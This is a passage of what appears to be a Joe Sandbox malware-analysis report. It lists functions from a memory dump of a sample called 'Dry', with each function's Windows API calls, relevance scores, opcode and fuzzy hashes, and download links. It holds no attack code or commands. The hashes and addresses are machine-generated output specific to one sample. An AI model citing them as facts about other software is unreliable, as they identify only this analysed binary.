Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: 2d38f9229cd122c58ea2c59063dc31b3cc7443fff662d2f439ec6041a0d39505
Instruction ID: abffe48ef62ae83222fa5a88afb0428954680ef2503d36a66e4b0599432e87a6
Opcode Fuzzy Hash: 2d38f9229cd122c58ea2c59063dc31b3cc7443fff662d2f439ec6041a0d39505
Instruction Fuzzy Hash: 30019C33720104ABCB119F99DC05CEE3BA9EF81330B640288F8109B1D0EB31DE81CB90

Function 00AEF238 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00AEF27B
DispatchMessageW.USER32(?), ref: 00AEF289
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEF29F
Sleep.KERNEL32(0000000A), ref: 00AEF2B1
TranslateAcceleratorW.USER32(?,?,?), ref: 00B332D8

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 3d1c3761cd8e1492435a5fc231dfbb7a0de49a8bb0deb70b51f7e58ef0cb1fb4
Instruction ID: 4f6e676d12f109756abed6a03cf60415ec4a5c34631801eba278053b5b6689b0
Opcode Fuzzy Hash: 3d1c3761cd8e1492435a5fc231dfbb7a0de49a8bb0deb70b51f7e58ef0cb1fb4
Instruction Fuzzy Hash: 40F0DA316043849BE774DBA1DC89FEA73A8EF84751F104929E25A97090DB7495888B25

Function 00AF2B20 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00AF3006

Strings

CALL, xrefs: 00AF2FD6

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 2c8dd75e806d83e227ba47dfe08a2e256617d635ba83fb76717d89d7822f005e
Instruction ID: d39515b981b94bde38f44be81bee4163fa34ba9df69423b99f836d91c9f040be
Opcode Fuzzy Hash: 2c8dd75e806d83e227ba47dfe08a2e256617d635ba83fb76717d89d7822f005e
Instruction Fuzzy Hash: C9229CB06082059FC724DF54C884B2ABBF1FF88314F24899DF6968B3A1DB71E941CB52

Function 00AF1990 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06311a85d943b8e81ad4f14d8d15f551d541a959b2f5427142077bb3db06ffac
Instruction ID: 0a91e654767ddcc955c3b1abcc8a6a523d85693486e24852d1169ba3709fbc14
Opcode Fuzzy Hash: 06311a85d943b8e81ad4f14d8d15f551d541a959b2f5427142077bb3db06ffac
Instruction Fuzzy Hash: 0A329C30A00219EFCB20EF94D891BBEB7F4EF14354F248598F955AB2A1E771AD44CB91

Function 00AE3A95 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00B2413B

Part of subcall function 00AE5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE55D1,?,?,00B24B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00AE5871

Part of subcall function 00AE3A57: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00AE3A76

Strings

X, xrefs: 00B24109

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 215c08cbcdefc413430a1b0bd37193710245400136f0940eaeaead4cc6f28340
Instruction ID: f596e60426ba5bac6f270ec65e5b490adb7c028ecb85de6a171191935cbce471
Opcode Fuzzy Hash: 215c08cbcdefc413430a1b0bd37193710245400136f0940eaeaead4cc6f28340
Instruction Fuzzy Hash: AB218171A042989BDB01DFA5DC09BEE7BF8AF49304F008059E549A7241DFB59A898F61

Function 00AE396B Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AE3A3C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 3060519891c0da1f51524201437cd4fbf96ecd2dbe1c13dbcb9ef4ad6eedc1bd
Instruction ID: fa1ca6b0c164fbc8d3a6e62cf031bc3b51e338c15d596d2c5f687138eaed29f7
Opcode Fuzzy Hash: 3060519891c0da1f51524201437cd4fbf96ecd2dbe1c13dbcb9ef4ad6eedc1bd
Instruction Fuzzy Hash: C231A5715043019FD721DF25D888797BBF8FB48348F000A2EE6D997241E7B5A988CB52

Function 00AE331B Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00AE333D

Part of subcall function 00AE32E6: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00AE32FB
Part of subcall function 00AE32E6: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00AE3312

Part of subcall function 00AE338B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00AE3368,?), ref: 00AE33BB
Part of subcall function 00AE338B: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00AE3368,?), ref: 00AE33CE
Part of subcall function 00AE338B: GetFullPathNameW.KERNEL32(00007FFF,?,?,00BB2418,00BB2400,?,?,?,?,?,?,00AE3368,?), ref: 00AE343A
Part of subcall function 00AE338B: SetCurrentDirectoryW.KERNEL32(?,00000001,00BB2418,?,?,?,?,?,?,?,00AE3368,?), ref: 00AE34BB

SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 00AE3377

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
String ID:
API String ID: 1550534281-0
Opcode ID: 36ac63c685a28f0ce7773dc87515554be1a728fbe148a09415aff33afbf77065
Instruction ID: 9575a4aad19fc1c91db1f0c3017bb4c86430dc332e975134e57d028e4145a058
Opcode Fuzzy Hash: 36ac63c685a28f0ce7773dc87515554be1a728fbe148a09415aff33afbf77065
Instruction Fuzzy Hash: 74F05E325543849FE711AF61ED0FB253BE4AB00719F044A19B6098B1E2CFFA95908B48

Function 00AECAB0 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00AECEEE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: d4395b45ffe20d7e31f530444f71f70df11e709736a03f2cdbd049555ee53ac3
Instruction ID: c1bc1b3ce707ef209d1e667756fd1f08d0be11cb3f84fe35cef2d4da7b8bf0c0
Opcode Fuzzy Hash: d4395b45ffe20d7e31f530444f71f70df11e709736a03f2cdbd049555ee53ac3
Instruction Fuzzy Hash: 2D32F375A00249DFCB20CF59C885ABEB7F9FF44360F288499E916AB251C775ED42CB90

Function 00B67AF9 Relevance: 1.8, APIs: 1, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: b8b13838ea9611bb4f5a224b0436d608fb6302d4c4391c104507fb6ab98bf440
Instruction ID: 27eeedc0876ecefb762fc2ba4dcb9c35206c9ea1d1087af0ce5c864cc937704b
Opcode Fuzzy Hash: b8b13838ea9611bb4f5a224b0436d608fb6302d4c4391c104507fb6ab98bf440
Instruction Fuzzy Hash: 06D17B74A04209EFCB14EF98C8919AEBBF5FF48314F244199E915AB391DB35AD81CF90

Function 00B0F106 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfe861eac18ef02fd89f7fc881a441b86d48a48991da2bbb69249a0927c6fa3
Instruction ID: 11ea1f956a986d118e4b0df68ddc742002a88b8a8187ace9d9633225b2f15cf0
Opcode Fuzzy Hash: 7cfe861eac18ef02fd89f7fc881a441b86d48a48991da2bbb69249a0927c6fa3
Instruction Fuzzy Hash: DB51A375B04209AFDB20DF68C841AB97FE1EB85364F1981E8F8189B7D1D771AD42CB90

Function 00B4FCB5 Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00B4FCCE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: a635c8388d60e05b5885b02e3485d5b8ff3aa595cf47a8774342f5636e7cd9ab
Instruction ID: 9719b0de65cbad227100cf30e7bad3a402331d900216ab436096c9414401e5ee
Opcode Fuzzy Hash: a635c8388d60e05b5885b02e3485d5b8ff3aa595cf47a8774342f5636e7cd9ab
Instruction Fuzzy Hash: 1E41A77690020AAFCB11EF68C8819BEB7F9EF44314B20457EE51697251EB70DF45DB60

Function 00AE6679 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE663E: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AE668B,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE664A
Part of subcall function 00AE663E: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00AE665C
Part of subcall function 00AE663E: FreeLibrary.KERNEL32(00000000,?,?,00AE668B,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE666E

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE66AB

Part of subcall function 00AE6607: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B25657,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE6610
Part of subcall function 00AE6607: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00AE6622
Part of subcall function 00AE6607: FreeLibrary.KERNEL32(00000000,?,?,00B25657,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE6635

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: c24409a024185a239d60eca1a72c60dfb94fade9245bfec37763f74c8d72f470
Instruction ID: 7f4f161ab4b26bff52d1d65f5642f65bf346ffd35aa81c2355273c671e481586
Opcode Fuzzy Hash: c24409a024185a239d60eca1a72c60dfb94fade9245bfec37763f74c8d72f470
Instruction Fuzzy Hash: 30112372610245AACF28AB31CE02BAD7BF19F60790F108C2DF452AA1C2EE75DA059B50

Function 00B18782 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00B187C0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 9d4c5957aa601738e69e2741da0658eb46caac04eeefd0b219e42e97af8d7c1e
Instruction ID: e9f86c90524ddb310ef8fb5363f44df472d2a2bdc1bf923c3fb04c4dbfd050be
Opcode Fuzzy Hash: 9d4c5957aa601738e69e2741da0658eb46caac04eeefd0b219e42e97af8d7c1e
Instruction Fuzzy Hash: F111487190410AAFCB05DF58E9409DA7BF5FF48300F1040A9F808AB311DA31EE118B64

Function 00B15373 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B14FF0: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,00B1319C,00000001,00000364,?,?,?,0000000A,00000000), ref: 00B15031

_free.LIBCMT ref: 00B153DF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
Instruction ID: 9615ac62605334569892538e09f259e9a616275a2a351016292db4e4264bea29
Opcode Fuzzy Hash: 5c7edad85fedc96dc17405c694b3f8ca8b3e31a6960b62d958f97a24a2444c6c
Instruction Fuzzy Hash: 8F0126B2200304ABE3318F69E88199AFBE9EBC5370FA5056DE59583280EB70A945C774

Function 00B0E972 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb1dcaca3f7520121673565f353bd58828d6484f0fca4c940b7c4def7923b9e8
Instruction ID: d8d12dedece39f11e0ed15fc4f87cfb4ee0aa309008e12500683b2f583d2a1ae
Opcode Fuzzy Hash: eb1dcaca3f7520121673565f353bd58828d6484f0fca4c940b7c4def7923b9e8
Instruction Fuzzy Hash: 30F0283250062096D6313A6ADC05BAA3BD8DF42374F114FE6F535932D1EF70E84286D2

Function 00AEB329 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AEB333

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 08755545acd0858eed81ce7ccf5a2a28b8455995394f04f7eef10020ba82947e
Instruction ID: 501e8f324a8ddd8e106df00cbaebf9fedbf60ae824a25b0b6fd92f1433acc38a
Opcode Fuzzy Hash: 08755545acd0858eed81ce7ccf5a2a28b8455995394f04f7eef10020ba82947e
Instruction Fuzzy Hash: 77F0C8B36117056ED7149F29D806BA7BFA8EB44360F10852AFA19CF5D1DB31E5108BA0

Function 00B5F94A Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00B5F987

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: 7c2a543c4a96b25bdbffc8c5324436206cfd5a7116a61445579eaec716c99274
Instruction ID: 839bbfde9dec101ad16fe9bc58f2351cdbd3f461009965ce1d23f2059b84596e
Opcode Fuzzy Hash: 7c2a543c4a96b25bdbffc8c5324436206cfd5a7116a61445579eaec716c99274
Instruction Fuzzy Hash: 03F08172600105BFCB01EBA5DC46E9EBBFCEF49710F004094F505AB261DA70EA45C750

Function 00B14FF0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,00B1319C,00000001,00000364,?,?,?,0000000A,00000000), ref: 00B15031

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a55fe2c60a42636a47b13dc645afb0d8ac4e7e852ca846f024736daa728ce479
Instruction ID: ff1c6809774ff3bdf592e757c890cb3aaa5b5f3fda4c5c46cb6061fe083f42de
Opcode Fuzzy Hash: a55fe2c60a42636a47b13dc645afb0d8ac4e7e852ca846f024736daa728ce479
Instruction Fuzzy Hash: 06F0B432610E24EBDB311AA69C09B9B3BD8EFC47E0F554091B804A70A0DA60D98186E4

Function 00B13B93 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00B06A79,?,0000015D,?,?,?,?,00B085B0,000000FF,00000000,?,?), ref: 00B13BC5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae963a980a0fbdd7a5f275e3de75a9c7d17ea2d74d6af22c2a7cfd987dd61c39
Instruction ID: f39518826800bc719ae60f3196de4b3d9ea6a2a7c1654d0f7a6e814c3f20c066
Opcode Fuzzy Hash: ae963a980a0fbdd7a5f275e3de75a9c7d17ea2d74d6af22c2a7cfd987dd61c39
Instruction Fuzzy Hash: EEE0652124862166DA3127769C01BDB3AD8DF41BA4F9501E1EC05E79E1FF64DDC085A4

Function 00AE66E7 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

